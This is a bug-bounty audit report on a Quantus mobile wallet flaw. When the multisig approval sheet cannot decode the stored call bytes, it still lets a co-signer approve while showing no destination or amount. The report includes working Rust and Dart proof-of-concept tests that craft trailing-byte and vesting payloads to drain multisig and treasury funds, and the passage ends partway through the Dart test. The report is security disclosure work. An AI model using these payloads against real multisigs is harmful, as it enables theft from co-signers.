90351 w a high the multisig approval screen signs call bytes it could not decode showing the signer a call name and no parameters
Submitted on Aug 24th 2026 at 15:53:56 UTC by @gzeon for Audit Comp | Quantus
- Report ID: #90351
- Report Type: Websites & Apps
- Report severity: High
- Target: https://github.com/immunefi-team/audit-comp-quantus-apps/tree/audit-comp-ready/mobile-app
- Impacts:
- Malicious interactions with an already-connected wallet, such as:
- Modifying transaction arguments or parameters
- Substituting contract addresses
- Submitting malicious transactions
- Malicious interactions with an already-connected wallet, such as:
Description
Brief/Intro
MultisigActionConfirmSheet fetches the authoritative proposal bytes from Multisig.Proposals before an approval, which is the right thing to do. If those bytes then fail to decode it catches the exception, renders a headline built from the indexer's pallet and call names with no parameters at all, and leaves the confirm button live, because the flag that gates the button is set only when the loader throws. The signer approves bytes their wallet declined to read.
Two things reach that state. The runtime declares eighteen pallets and the bundled codec has thirteen cases, one of which is for a pallet the runtime has removed, so six of the runtime's pallets are undecodable, including Vesting at 22. More sharply, the chain's RuntimeCall::decode reads a call's prefix and ignores what follows, while the wallet's decoder rejects a single trailing byte outright, so appending one junk byte to any call at all produces bytes the chain stores, approves and executes and the wallet cannot render. The second trigger needs no gap in the bindings and works on any multisig, including a user's own.
A malicious co-signer proposes such a call. The victim's wallet shows them two words under the sentence "You are about to approve a transfer of", with no destination and no amount, and their approval carries it to threshold.
Vulnerability Details
The screen's stated contract
// mobile-app/lib/v2/screens/multisig/multisig_approve_confirm_sheet.dart:38
// Approving resubmits the proposal's inner call, which the chain compares
// byte-for-byte against what it stored - so the bytes come from the chain,
// and the sheet shows the caller exactly which call they are approving.
loadCallBytes: (ref) =>
ref.read(multisigServiceProvider).fetchProposalCallBytes(msig: msig, proposalId: proposal.id),
The bytes do come from the chain: fetchProposalCallBytes queries Multisig.Proposals and returns stored.call (quantus_sdk/lib/src/services/multisig_service.dart:409, :412). Showing the caller exactly which call they are approving is the half that stops.
A decode failure never closes the gate
// mobile-app/lib/v2/screens/multisig/multisig_action_confirm_sheet.dart:185
DecodedCall? get _decodedProposalCall {
final bytes = _callBytes;
if (bytes != null) {
try {
return CallDecoder.decodeBytes(bytes);
} catch (e) {
quantusPrint('${widget.logPrefix} could not decode stored proposal call: $e');
}
}
return widget.proposal.decodedCall;
}
widget.proposal.decodedCall runs CallDecoder.decodeBytes over the indexer's copy of the same call (quantus_sdk/lib/src/models/multisig_proposal.dart:146, :270) and swallows its own failure the same way (:272), so the getter returns null.
The only assignment that would disable the button lives in the loader's catch block:
// multisig_action_confirm_sheet.dart:169
} catch (e, st) {
quantusPrint('${widget.logPrefix} proposal call load error: $e $st');
if (!mounted) return;
setState(() {
_loadingCallBytes = false;
_callBytesFailed = true; // :174, the sole `true` assignment
_loadingFee = false;
});
return;
}
// multisig_action_confirm_sheet.dart:362
// Never confirm an action whose call bytes were meant to load but did not.
final blocked = _submitting || _loadingCallBytes || _callBytesFailed;
// multisig_action_confirm_sheet.dart:403, the confirm button
QuantusButton.simple(
label: widget.labels.confirmLabel(l10n),
variant: widget.confirmVariant,
isDisabled: blocked,
onTap: blocked ? null : _confirm,
),
The load succeeded, so _callBytesFailed stays false and blocked stays false. The stated intent, "never confirm an action whose call bytes were meant to load but did not", covers a load failure and not a decode failure.
This sheet is shared. multisig_approve_confirm_sheet.dart:23, multisig_cancel_confirm_sheet.dart:19 and multisig_execute_confirm_sheet.dart:18 all construct MultisigActionConfirmSheet with a loadCallBytes, so approve, cancel and execute inherit the same getter, the same flag and the same gate. The signer who executes the proposal, the step that dispatches the call, is shown no more than the signer who approved it.
What the signer sees instead
With _decodedProposalCall null, build falls through to _fallbackTransferCall:
// multisig_action_confirm_sheet.dart:353
final decoded = _decodedProposalCall;
final headline = DecodedCallHeadline.of(decoded ?? _fallbackTransferCall, ...); // :354
// multisig_action_confirm_sheet.dart:199
DecodedCall get _fallbackTransferCall {
final proposal = widget.proposal;
final hasTransfer = proposal.amount != BigInt.zero || proposal.recipient.isNotEmpty;
return DecodedCall(
pallet: proposal.pallet,
call: proposal.call,
fields: const [],
summary: hasTransfer ? TransferSummary(...) : null,
);
}
pallet and call are indexer strings (multisig_proposal.dart:125, :126), fields is empty by construction, and the parameter view is skipped when fields are empty (multisig_action_confirm_sheet.dart:386). No warning is rendered, because the only error text is gated on _callBytesFailed (:382). The app is not short of a signal either: it asks the indexer for decode_error on every proposal row (quantus_sdk/lib/src/services/multisig_graphql.dart:209) and parses it into MultisigProposal.decodeError (quantus_sdk/lib/src/models/multisig_proposal.dart:138), and no screen reads that field.
The sheet's own copy completes the deception. multisigApproveConfirmBody is "You are about to approve a transfer of" (mobile-app/lib/l10n/app_en.arb:958), a sentence written to be finished by the headline underneath it. The PoC captures every string the sheet renders over a 500 000 QUAN transfer the signer is about to approve:
[Are you sure?, You are about to approve a transfer of, Transfer allow death, Balances, NETWORK FEE, 0.001 QUAN, Yes, Approve, No, Go Back]
No destination, no amount, and a live confirm button. The only number on the screen is the fee.
Trigger A: a pallet the bindings do not carry
RuntimeCall._decode has cases for pallet indices 0, 1, 2, 7, 9, 11, 13, 14, 15, 16, 17, 19 and 20 (quantus_sdk/lib/generated/planck/types/quantus_runtime/runtime_call.dart:107 to :132). The runtime declares eighteen pallets at indices 0, 1, 2, 3, 5, 6, 7, 8, 9, 11, 13, 14, 15, 16, 19, 20, 21 and 22, so Scheduler, ZkTree and Vesting are among the six with no case (runtime/src/lib.rs:283, :286). One of the codec's thirteen cases, Assets at 17, is for a pallet the runtime has removed. It states its own origin, specVersion: 136 (quantus_sdk/lib/generated/planck/pallets/system.dart:767), against the runtime's spec_version: 143 (runtime/src/lib.rs:79).
Vesting is the sharpest instance. Its admin calls are gated on EitherOfDiverse<EnsureRoot<AccountId>, EnsureTreasury> (runtime/src/configs/mod.rs:630), and EnsureTreasury accepts a signed origin equal to the treasury account (:608, :612). The treasury is a 2-of-3 multisig (runtime/src/genesis_config_presets.rs:454), and pallet-multisig dispatches an executed proposal as RawOrigin::Signed(multisig_address) (pallets/multisig/src/lib.rs:1156). The pallet the wallet cannot read is the pallet the treasury multisig exists to drive.
Trigger B: one trailing byte, with the bindings fully current
The chain and the wallet disagree about trailing bytes. Multisig::propose decodes with SCALE's decode, which reads the call's prefix and leaves the rest in the buffer:
// pallets/multisig/src/lib.rs:599
let decoded_call = <T as Config>::RuntimeCall::decode(&mut &call[..])
.map_err(|_| Self::err_burn_full_raw(Error::<T>::InvalidCall))?;
The wallet's decoder treats the same bytes as a hard error:
// quantus_sdk/lib/src/chain/call_decoder.dart:50
/// Trailing bytes mean the sender and this decoder disagree about the call's
/// shape, so the result cannot be trusted for display - throw instead.
static DecodedCall decodeBytes(List<int> bytes) {
final input = Input.fromBytes(Uint8List.fromList(bytes));
final call = runtime.RuntimeCall.codec.decode(input);
final remaining = input.remainingLength ?? 0;
if (remaining != 0) {
throw FormatException('$remaining trailing bytes after nested call'); // :57
}
return describe(call);
}
Multisig::execute decodes the stored bytes the same prefix-tolerant way (pallets/multisig/src/lib.rs:1125), and neither call site uses decode_all, so nothing in the pallet ever objects to the tail.
So a proposer appends one junk byte to an ordinary Balances::transfer_allow_death. The chain accepts the proposal, stores the 45 bytes verbatim, and executes the 44-byte call inside them. Multisig::approve requires call == proposal.call (pallets/multisig/src/lib.rs:780), so the victim's wallet fetches those exact 45 bytes and resubmits them, which is what makes the byte-equality check work against the victim rather than for them. The decoder throws on the trailing byte, the sheet swallows it, and a transfer the bindings decode perfectly well is rendered as "Transfer allow death / Balances" with no destination and no amount. PoC 2 case B shows the same bytes minus the last byte decoding into a full summary.
The indexer cannot rescue the victim either. Its multisig_proposal row carries transfer_amount and transferTo (quantus_sdk/lib/src/services/multisig_graphql.dart:202, :213), so an indexer that reads a direct transfer server-side could still populate the headline. Wrapping the same transfer in Utility::batch removes that: a batch is not a direct transfer, the columns stay empty, and the sheet renders "Batch / Utility". PoC 2 case B2 does exactly that over a 250 000 QUAN transfer, and shows the same bytes minus the trailing byte decoding into a two-field Utility.batch.
This trigger does not depend on the codec's pallet coverage, on the runtime's spec_version, or on the treasury. It applies to every call and every multisig, so a personal 2-of-3 with no privileged role is exposed to it.
The same SDK refuses this on the hardware path
One decoder serves both surfaces. The approval sheet calls CallDecoder.decodeBytes (multisig_action_confirm_sheet.dart:189), the signing path calls CallDecoder.describe (quantus_sdk/lib/src/quantus_payload_parser.dart:159), and both reach the same _multisig branch, which recurses into the call being approved:
// quantus_sdk/lib/src/chain/call_decoder.dart:339
case multisig.Approve(:final multisigAddress, :final proposalId, :final call):
// The chain only counts this approval if these bytes are byte-equal to
// the stored proposal, so the inner call shown here is the call being
// approved - not unverifiable context.
final inner = decodeBytes(call);
That decodeBytes is unguarded, so a Keystone signer scanning the same approval gets a FormatException out of QuantusPayloadParser.parsePayload (quantus_sdk/lib/src/quantus_payload_parser.dart:119) and the cold wallet refuses to sign (cold-wallet-app/lib/screens/sign_transaction_screen.dart:48). The project's own tests pin both halves: approve must expose the inner call being approved (quantus_sdk/test/chain/call_decoder_test.dart:121), and an unparseable payload is "never signed" (cold-wallet-app/test/transaction_signing_test.dart:117).
The mobile approval sheet is the one signing surface that catches that exception and continues.
Not fixed, and not fixed upstream either
2293f20, "fix: multisig approve must carry the proposal's inner call" (#585, 2026-07-27), introduced both halves: the authoritative loadCallBytes fetch and the _callBytesFailed flag that gates only on a load failure. The in-scope asset is frozen at d5fc4d6 and refs/heads/audit-comp-ready still resolves to it.
The public upstream repository is worth stating explicitly, because it has moved and does not fix this. Quantus-Network/quantus-apps PR #610, "fix: take the wormhole volume fee from the shipped runtime metadata", merged 2026-08-21 as 8fd9021, regenerated the bindings as a side effect and added case 22 for Vesting. It does not touch multisig_action_confirm_sheet.dart: at that commit the file's _decodedProposalCall, _fallbackTransferCall and blocked are byte-identical to the in-scope copy, differing only in imports, a text style and a spacer. The regenerated bindings still decode thirteen of the runtime's eighteen pallet indices, leaving 3, 5, 6, 8 and 21 undecodable, and trigger B never depended on the bindings at all.
Preconditions
- The attacker is one signer of a multisig the victim also signs, and crafts the proposal outside the app. For trigger B that is any multisig; for trigger A the treasury multisig is what makes
Vestingreachable. - For trigger A only: the treasury multisig has been created post-genesis and funded. No preset seeds
Multisigsstorage, and the shipped Planck preset says why: the treasury isderive_multisig_address(&planck_treasury_signers(), 2, 0)(runtime/src/genesis_config_presets.rs:454), each signer is seeded "enough to create + propose on the treasury multisig once" (:560), and the vesting pot gets its ED buffer "socreate_scheduleworks post-genesis" (:571). - The deceived co-signer approves from the mobile app with a local software signer, the path PoC 2 exercises. A Keystone signer takes a different branch (
multisig_action_confirm_sheet.dart:259) and the cold wallet refuses the payload. - No hostile indexer is required. An honest one supplies the true pallet and call names and nothing else; one that could not read the call either leaves the headline blank, which PoC 2 case A2 shows.
Impact Details
(Websites & Applications) Malicious interactions with an already-connected wallet, such as: modifying transaction arguments or parameters; submitting malicious transactions.
The co-signer's connected wallet builds and submits a real Multisig::approve over bytes it never displayed, under a line of copy telling them they are approving a transfer. For Balances::transfer_allow_death(dest, value) neither the destination nor the value is on screen; for Vesting::create_schedule(beneficiary, start, cliff, end, total) neither the beneficiary nor the amount is. The one number the signer sees is the 0.001 QUAN network fee.
A single signer on a 2-of-3 has authority to propose, not to spend. The screen is what carries their proposal past a second signer who never agreed to it.
Trigger B bounds the loss at the balance of whatever multisig the attacker co-signs, and reaches ordinary user multisigs. Trigger A bounds it at the treasury balance, since create_schedule transfers total out of the treasury with Preservation::Preserve, subject only to total >= MinimumPayout, total % PayoutQuantum == 0, and the treasury keeping its existential deposit (pallets/vesting/src/lib.rs:522). The treasury takes 50 percent of every block reward (runtime/src/genesis_config_presets.rs:575), and the reward is remaining supply over an EmissionDivisor of 15 163 560 (runtime/src/configs/mod.rs:144) against a 21 000 000 QUAN cap (runtime/src/lib.rs:105) on 12-second blocks (runtime/src/lib.rs:87), so early in the chain's life the treasury accrues roughly 4 986 QUAN per day. A schedule whose dates are already past is fully vested on arrival, and claim is documented permissionless with the payout always going to the stored beneficiary (pallets/vesting/src/lib.rs:326), so any funded account finishes the theft; PoC 1 uses an unrelated one.
PoC 1 moves 1 000 000 QUAN out of a 2 000 000 QUAN treasury through trigger A, 500 000 QUAN through trigger B, and 250 000 QUAN through the batch form of trigger B.
References
mobile-app/lib/v2/screens/multisig/multisig_approve_confirm_sheet.dart:38,:41the loader and its stated contractmultisig_approve_confirm_sheet.dart:23,multisig_cancel_confirm_sheet.dart:19,multisig_execute_confirm_sheet.dart:18the three sheets sharing the widgetmobile-app/lib/v2/screens/multisig/multisig_action_confirm_sheet.dart:185,:189the decode and the swallowed exceptionmobile-app/lib/v2/screens/multisig/multisig_action_confirm_sheet.dart:174the sole_callBytesFailed = truemobile-app/lib/v2/screens/multisig/multisig_action_confirm_sheet.dart:199_fallbackTransferCallmobile-app/lib/v2/screens/multisig/multisig_action_confirm_sheet.dart:353,:354,:362,:406,:407the headline, the gate, the buttonmobile-app/lib/v2/screens/multisig/multisig_action_confirm_sheet.dart:382,:386the warning and the parameter view, both skippedmobile-app/lib/l10n/app_en.arb:958the sheet's body copy, "You are about to approve a transfer of"quantus_sdk/lib/src/services/multisig_service.dart:409,:412the authoritative fetchquantus_sdk/lib/src/services/multisig_graphql.dart:202,:209,:213the indexer's transfer columns and thedecode_errorfield the app never readsquantus_sdk/lib/src/models/multisig_proposal.dart:138wheredecode_erroris parsed and then unusedquantus_sdk/lib/src/models/multisig_proposal.dart:125,:126,:146,:270,:272indexer pallet and call, and the getter that fails the same wayquantus_sdk/lib/src/chain/call_decoder.dart:50,:57,:339the decoder's display policy, the trailing-byte rejection, and the unguarded recursion into an approve's inner callquantus_sdk/lib/src/quantus_payload_parser.dart:119,:130,:137,:142,:159the fail-closed signing decoder in the same codebasequantus_sdk/test/chain/call_decoder_test.dart:121,cold-wallet-app/test/transaction_signing_test.dart:117the project's own tests for the correct behaviourquantus_sdk/lib/generated/planck/types/quantus_runtime/runtime_call.dart:107to:132the decoded pallet indicesquantus_sdk/lib/generated/planck/pallets/system.dart:767andruntime/src/lib.rs:79codec spec 136 against runtime spec 143runtime/src/lib.rs:283,:286ZkTreeat 21 andVestingat 22runtime/src/configs/mod.rs:144,:608,:612,:630,:648the emission divisor,EnsureTreasury, the vestingAdminOrigin, andMaxCallSizeruntime/src/genesis_config_presets.rs:454,:560,:571,:575the Planck treasury multisig, the signer funding, the pot buffer, and the treasury portionpallets/multisig/src/lib.rs:557,:599,:615,:780,:1125,:1156signer check, the prefix-tolerant decode on propose and again on execute, high-security classification, byte-equality on approve, dispatch originpallets/vesting/src/lib.rs:326,:331,:376,:500,:522the permissionless claim and its stored beneficiary, treasury funding, the past-end branch, and the absent future-date check
Proof of Concept
Two runnable tests. PoC 1 executes every payload on the chain and prints the balances that move. PoC 2 pumps the shipped approval sheet over the same bytes. The hex strings are identical across the two, so what the wallet declines to display is what the chain executes.
PoC 1: the chain executes both payloads
Clone the repository
git clone https://github.com/immunefi-team/audit-comp-quantus-chain
cd audit-comp-quantus-chain && git checkout 3b243b870a5442a6e5f443056f67bbba87d472f5
export LIBCLANG_PATH=/usr/lib/llvm-14/lib # only where bindgen cannot find libclang
Add the tests
Append this to the existing mod tests block in runtime/tests/governance/vesting.rs, and widen that file's use codec::Encode; to use codec::{Decode, Encode};. It reuses the file's own helpers, which already model the shipped treasury: treasury_multisig() is derive_multisig_address(&[account(1), account(2), account(3)], 2, 0), and propose_approve_execute runs Multisig::propose by signer 1, Multisig::approve by signer 2, Multisig::execute by signer 3. Signer 2's approval is the step the mobile sheet renders.
fn attacker() -> AccountId32 {
AccountId32::new([0xA7u8; 32])
}
/// Someone with no relationship to the multisig or the schedule, used to show
/// that finishing the theft needs no further signature from a signer.
fn bystander() -> AccountId32 {
AccountId32::new([0xB9u8; 32])
}
#[test]
fn poc_blind_approved_vesting_schedule_drains_the_treasury() {
new_test_ext(Some(treasury_multisig())).execute_with(|| {
let treasury = treasury_multisig();
let pot = Vesting::pot_account_id();
// Wall clock is well past the dates the attacker will use, so the grant is
// fully vested the moment it exists.
const NOW_MS: u64 = 10_000_000;
const START_MS: u64 = 1_000;
const CLIFF_MS: u64 = 2_000;
const END_MS_PAST: u64 = 3_000;
const STOLEN: Balance = 1_000_000 * UNIT;
set_time(NOW_MS);
// The signers stand up their 2-of-3 treasury multisig, as every shipped
// preset expects them to, and the treasury has accrued its share of rewards.
assert_ok!(Multisig::create_multisig(
RuntimeOrigin::signed(account(1)),
signers(),
2,
0,
));
Balances::make_free_balance_be(&treasury, 2_000_000 * UNIT);
Balances::make_free_balance_be(&attacker(), 0);
Balances::make_free_balance_be(&bystander(), UNIT);
let treasury_before = Balances::total_balance(&treasury);
let attacker_before = Balances::total_balance(&attacker());
println!("before treasury = {} QUAN", treasury_before / UNIT);
println!("before attacker = {} QUAN", attacker_before / UNIT);
// The malicious signer's proposal. Every date is in the past and the
// beneficiary is the attacker.
let call = RuntimeCall::Vesting(pallet_vesting::Call::create_schedule {
beneficiary: attacker(),
start: START_MS,
cliff: CLIFF_MS,
end: END_MS_PAST,
total: STOLEN,
});
let encoded = call.encode();
// These are byte-for-byte the bytes the Dart PoC feeds to
// `CallDecoder.decodeBytes`, which throws on them. Pallet index 22
// (Vesting), call index 1 (create_schedule).
assert_eq!(&encoded[0..2], &[22u8, 1u8]);
let as_hex: String = encoded.iter().map(|b| format!("{b:02x}")).collect();
println!("proposal call bytes = 0x{as_hex}");
// Signer 1 proposes, signer 2 approves, signer 3 executes. The approval in
// the middle is the step the mobile wallet renders as a bare
// "Vesting / create_schedule" with no beneficiary and no amount.
propose_approve_execute(call, 0);
let schedule =
pallet_vesting::Schedules::<Runtime>::get(0).expect("schedule was created");
assert_eq!(schedule.beneficiary, attacker());
assert_eq!(schedule.total, STOLEN);
assert_eq!(Balances::total_balance(&treasury), treasury_before - STOLEN);
assert_eq!(Balances::total_balance(&pot), STOLEN + EXISTENTIAL_DEPOSIT);
// The grant is already fully vested, because `schedule_is_valid` never
// required the dates to be in the future.
assert_eq!(Vesting::vested_amount(&schedule, NOW_MS), STOLEN);
// `claim` is permissionless and always pays the stored beneficiary, so an
// account with no connection to the multisig finishes the theft.
assert_ok!(Vesting::claim(RuntimeOrigin::signed(bystander()), 0));
let treasury_after = Balances::total_balance(&treasury);
let attacker_after = Balances::total_balance(&attacker());
println!("after treasury = {} QUAN", treasury_after / UNIT);
println!("after attacker = {} QUAN", attacker_after / UNIT);
println!("STOLEN = {} QUAN in one approval", (attacker_after - attacker_before) / UNIT);
assert_eq!(attacker_after - attacker_before, STOLEN);
assert_eq!(treasury_before - treasury_after, STOLEN);
assert_eq!(Balances::total_balance(&pot), EXISTENTIAL_DEPOSIT);
});
}
/// The wallet's decoder rejects trailing bytes outright, but the runtime's
/// `RuntimeCall::decode` reads its prefix and ignores the rest. So a proposal
/// can be stored whose bytes the chain executes and the app cannot render,
/// for ANY call, with fully current bindings.
#[test]
fn poc_trailing_byte_proposal_executes_but_cannot_be_rendered() {
new_test_ext(Some(treasury_multisig())).execute_with(|| {
let treasury = treasury_multisig();
const STOLEN: Balance = 500_000 * UNIT;
set_time(10_000_000);
assert_ok!(Multisig::create_multisig(
RuntimeOrigin::signed(account(1)),
signers(),
2,
0,
));
Balances::make_free_balance_be(&treasury, 2_000_000 * UNIT);
Balances::make_free_balance_be(&attacker(), 0);
let call = RuntimeCall::Balances(pallet_balances::Call::transfer_allow_death {
dest: attacker().into(),
value: STOLEN,
});
let mut encoded = call.encode();
let clean_len = encoded.len();
encoded.push(0xFF); // one junk byte the chain never reads
// The chain decodes the prefix and ignores the tail.
let decoded = RuntimeCall::decode(&mut &encoded[..]).expect("runtime accepts it");
assert_eq!(decoded, call);
let as_hex: String = encoded.iter().map(|b| format!("{b:02x}")).collect();
println!("stored proposal bytes = 0x{as_hex}");
println!(" call is {clean_len} bytes, stored is {} bytes", encoded.len());
let attacker_before = Balances::total_balance(&attacker());
let bounded: BoundedCallOf<Runtime> = encoded.clone().try_into().unwrap();
let expiry = System::block_number() + 100;
assert_ok!(Multisig::propose(
RuntimeOrigin::signed(account(1)),
treasury.clone(),
bounded.clone(),
expiry,
));
// Byte-equality holds because the app resubmits exactly what it fetched.
assert_ok!(Multisig::approve(
RuntimeOrigin::signed(account(2)),
treasury.clone(),
0,
bounded,
));
assert_ok!(Multisig::execute(RuntimeOrigin::signed(account(1)), treasury, 0));
let gained = Balances::total_balance(&attacker()) - attacker_before;
println!("attacker gained = {} QUAN", gained / UNIT);
assert_eq!(gained, STOLEN);
});
}
/// Same trailing-byte trick over `Utility::batch`, which no indexer summarises
/// as a direct transfer, so the sheet's indexer fallback has nothing to show
/// even when the bindings are current and the indexer is honest.
#[test]
fn poc_trailing_byte_batch_executes_but_cannot_be_rendered() {
new_test_ext(Some(treasury_multisig())).execute_with(|| {
let treasury = treasury_multisig();
const STOLEN: Balance = 250_000 * UNIT;
set_time(10_000_000);
assert_ok!(Multisig::create_multisig(
RuntimeOrigin::signed(account(1)),
signers(),
2,
0,
));
Balances::make_free_balance_be(&treasury, 2_000_000 * UNIT);
Balances::make_free_balance_be(&attacker(), 0);
let inner = RuntimeCall::Balances(pallet_balances::Call::transfer_allow_death {
dest: attacker().into(),
value: STOLEN,
});
let call = RuntimeCall::Utility(pallet_utility::Call::batch { calls: vec![inner] });
let mut encoded = call.encode();
let clean_len = encoded.len();
encoded.push(0xFF);
assert_eq!(RuntimeCall::decode(&mut &encoded[..]).expect("runtime accepts it"), call);
let as_hex: String = encoded.iter().map(|b| format!("{b:02x}")).collect();
println!("stored proposal bytes = 0x{as_hex}");
println!(" call is {clean_len} bytes, stored is {} bytes", encoded.len());
let attacker_before = Balances::total_balance(&attacker());
let bounded: BoundedCallOf<Runtime> = encoded.try_into().unwrap();
let expiry = System::block_number() + 100;
assert_ok!(Multisig::propose(
RuntimeOrigin::signed(account(1)),
treasury.clone(),
bounded.clone(),
expiry,
));
assert_ok!(Multisig::approve(
RuntimeOrigin::signed(account(2)),
treasury.clone(),
0,
bounded,
));
assert_ok!(Multisig::execute(RuntimeOrigin::signed(account(1)), treasury, 0));
let gained = Balances::total_balance(&attacker()) - attacker_before;
println!("attacker gained = {} QUAN", gained / UNIT);
assert_eq!(gained, STOLEN);
});
}
Run the tests
cargo test --release -p quantus-runtime --test mod poc_ -- --nocapture --test-threads=1
Output:
running 3 tests
test governance::vesting::tests::poc_blind_approved_vesting_schedule_drains_the_treasury ... before treasury = 2000000 QUAN
before attacker = 0 QUAN
proposal call bytes = 0x1601a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7e803000000000000d007000000000000b80b000000000000000064a7b3b6e00d0000000000000000
after treasury = 1000000 QUAN
after attacker = 1000000 QUAN
STOLEN = 1000000 QUAN in one approval
ok
test governance::vesting::tests::poc_trailing_byte_batch_executes_but_cannot_be_rendered ... stored proposal bytes = 0x090004020000a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7130000d9e9ac2d7803ff
call is 47 bytes, stored is 48 bytes
attacker gained = 250000 QUAN
ok
test governance::vesting::tests::poc_trailing_byte_proposal_executes_but_cannot_be_rendered ... stored proposal bytes = 0x020000a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7a7130000b2d3595bf006ff
call is 44 bytes, stored is 45 bytes
attacker gained = 500000 QUAN
ok
test result: ok. 3 passed; 0 failed; 0 ignored; 0 measured; 42 filtered out; finished in 0.00s
PoC 2: the wallet renders those bytes with a live confirm button and no parameters
Clone and prepare the application
git clone https://github.com/immunefi-team/audit-comp-quantus-apps
cd audit-comp-quantus-apps && git checkout d5fc4d6572ebc2244e95009a33f5da5048935867
cd mobile-app
touch .env # pubspec lists .env as an asset; an empty file is enough for tests
flutter pub get # Flutter 3.47.1 / Dart 3.13.1; the app requires Dart >= 3.10
Write the test
Write mobile-app/test/unit/multisig_blind_approval_poc_test.dart. It pumps the shipped MultisigActionConfirmSheet with the labels showMultisigApproveConfirmSheet passes it (multisig_approve_confirm_sheet.dart:23) and stubs for the fee, build and submit callbacks; makeAccount and makeMultisigAccount come from the project's own test/fakes.dart. Signer 1 proposed, so the sheet acts for signer 2, the co-signer whose approval reaches threshold.
import 'dart:typed_data';
import 'package:convert/convert.dart';
import 'package:flutter/material.dart';
import 'package:flutter_riverpod/flutter_riverpod.dart';
import 'package:flutter_test/flutter_test.dart';
import 'package:quantus_sdk/quantus_sdk.dart';
import 'package:quantus_sdk/generated/planck/pallets/balances.dart' as balances_pallet;
import 'package:quantus_sdk/generated/planck/pallets/utility.dart' as utility_pallet;
import 'package:quantus_sdk/generated/planck/types/sp_runtime/multiaddress/multi_address.dart' as multi_address;
import 'package:resonance_network_wallet/v2/components/quantus_button.dart';
import 'package:resonance_network_wallet/v2/screens/multisig/multisig_action_confirm_sheet.dart';
import 'package:resonance_network_wallet/v2/theme/app_theme.dart';
import 'package:shared_preferences/shared_preferences.dart';
import '../fakes.dart';
final attackerId = Uint8List.fromList(List.filled(32, 0xA7));
final oneMillionQuan = BigInt.from(1000000) * BigInt.from(1000000000000);
final halfMillionQuan = BigInt.from(500000) * BigInt.from(1000000000000);
/// Trigger A, stale bindings. The runtime puts `Vesting` at pallet index 22 and
/// `create_schedule` at call index 1; the bundled codec's `RuntimeCall._decode`
/// has no case for 22.
///
/// Byte-for-byte the call the runtime test
/// `poc_blind_approved_vesting_schedule_drains_the_treasury` executes to move
/// 1 000 000 QUAN out of the treasury.
Uint8List vestingCreateSchedule() {
final out = BytesBuilder();
out.addByte(22); // Vesting
out.addByte(1); // create_schedule
out.add(attackerId); // beneficiary
for (final ms in [1000, 2000, 3000]) {
// start, cliff, end: all in the past, so the grant is fully vested at once
final b = ByteData(8)..setUint64(0, ms, Endian.little);
out.add(b.buffer.asUint8List());
}
final total = Uint8List(16); // u128 LE
var v = oneMillionQuan;
for (var i = 0; i < 16; i++) {
total[i] = (v & BigInt.from(0xFF)).toInt();
v = v >> 8;
}
out.add(total);
return out.toBytes();
}
/// Trigger B, current bindings. `RuntimeCall::decode` reads its prefix and
/// ignores what follows, so the chain stores, approves and executes these bytes;
/// `CallDecoder.decodeBytes` rejects them for the trailing byte alone. This
/// needs no gap in the codec, so it applies to any call and any multisig.
///
/// Byte-for-byte the payload the runtime test
/// `poc_trailing_byte_proposal_executes_but_cannot_be_rendered` executes to move
/// 500 000 QUAN.
Uint8List transferWithTrailingByte() {
final clean = const balances_pallet.Txs()
.transferAllowDeath(dest: multi_address.MultiAddress.values.id(attackerId), value: halfMillionQuan)
.encode();
return Uint8List.fromList([...clean, 0xFF]);
}
/// Trigger B over `Utility::batch`, which an indexer does not summarise as a
/// direct transfer, so its `transfer_amount` and `transferTo` columns stay empty
/// and the sheet's fallback has nothing to show. The bindings decode `Utility`
/// (case 9) and the nested `Balances` call perfectly well.
///
/// Byte-for-byte the payload the runtime test
/// `poc_trailing_byte_batch_executes_but_cannot_be_rendered` executes to move
/// 250 000 QUAN.
Uint8List batchTransferWithTrailingByte() {
final inner = const balances_pallet.Txs().transferAllowDeath(
dest: multi_address.MultiAddress.values.id(attackerId),
value: BigInt.from(250000) * BigInt.from(1000000000000),
);
final clean = const utility_pallet.Txs().batch(calls: [inner]).encode();
return Uint8List.fromList([...clean, 0xFF]);
}
/// The indexer's proposal row. `MultisigProposal.fromIndexerJson` runs
/// `_stringOrEmpty` over pallet and call and leaves the transfer columns at zero
/// when it has none, so this covers an indexer that names the call and one that
/// could not read it either.
MultisigProposal indexedProposal({required String pallet, required String call}) => MultisigProposal(
entityId: 'e0',
id: 0,
multisigAddress: makeMultisigAccount().accountId,
proposer: makeAccount(1).accountId,
createdAt: DateTime.now(),
updatedAt: DateTime.now(),
pallet: pallet,
call: call,
recipient: '',
amount: BigInt.zero,
expiryBlock: 1000,
approvals: const [],
deposit: BigInt.zero,
status: MultisigProposalStatus.active,
threshold: 2,
signerCount: 3,
);
void main() {
TestWidgetsFlutterBinding.ensureInitialized();
setUp(() async {
SharedPreferences.setMockInitialValues({});
await SettingsService().initialize();
});
/// Signer 1 proposed, so signer 2 is the co-signer whose approval reaches
/// threshold. That is the account the sheet acts for here.
Future<void> pumpApproveSheet(WidgetTester tester, Uint8List chainBytes, MultisigProposal proposal) async {
await tester.pumpWidget(
ProviderScope(
child: MediaQuery(
data: const MediaQueryData(size: Size(800, 1200)),
child: Builder(
builder: (context) => MaterialApp(
theme: AppTheme.darkTheme(context),
home: Scaffold(
body: MultisigActionConfirmSheet(
msig: makeMultisigAccount(),
proposal: proposal,
signer: makeAccount(2),
labels: MultisigConfirmSheetLabels(
title: (l) => l.multisigApproveConfirmTitle,
body: (l) => l.multisigApproveConfirmBody,
confirmLabel: (l) => l.multisigApproveConfirmYes,
dismissLabel: (l) => l.multisigApproveConfirmNo,
authReason: (l) => l.multisigApproveAuthReason,
failedMessage: (l) => l.multisigApproveFailed,
),
// The loader SUCCEEDS: these are the authoritative chain bytes.
loadCallBytes: (_) async => chainBytes,
estimateFee: (_, _, _) async => BigInt.from(1000000000),
buildCall: (_, _) => throw UnimplementedError(),
submit: (_, _, _, _) async {},
submitExternal:
(
_, {
required signer,
required unsignedData,
required signature,
required publicKey,
fee,
}) async => '',
logPrefix: '[PoC]',
hardwareTelemetryPrefix: 'poc',
hardwareCacheIdentity: 'poc',
),
),
),
),
),
),
);
await tester.pumpAndSettle();
}
List<String> renderedText(WidgetTester tester) => tester
.widgetList<Text>(find.byType(Text))
.map((t) => t.data ?? '')
.where((s) => s.isNotEmpty)
.toList();
void reportSheet(WidgetTester tester, String label) {
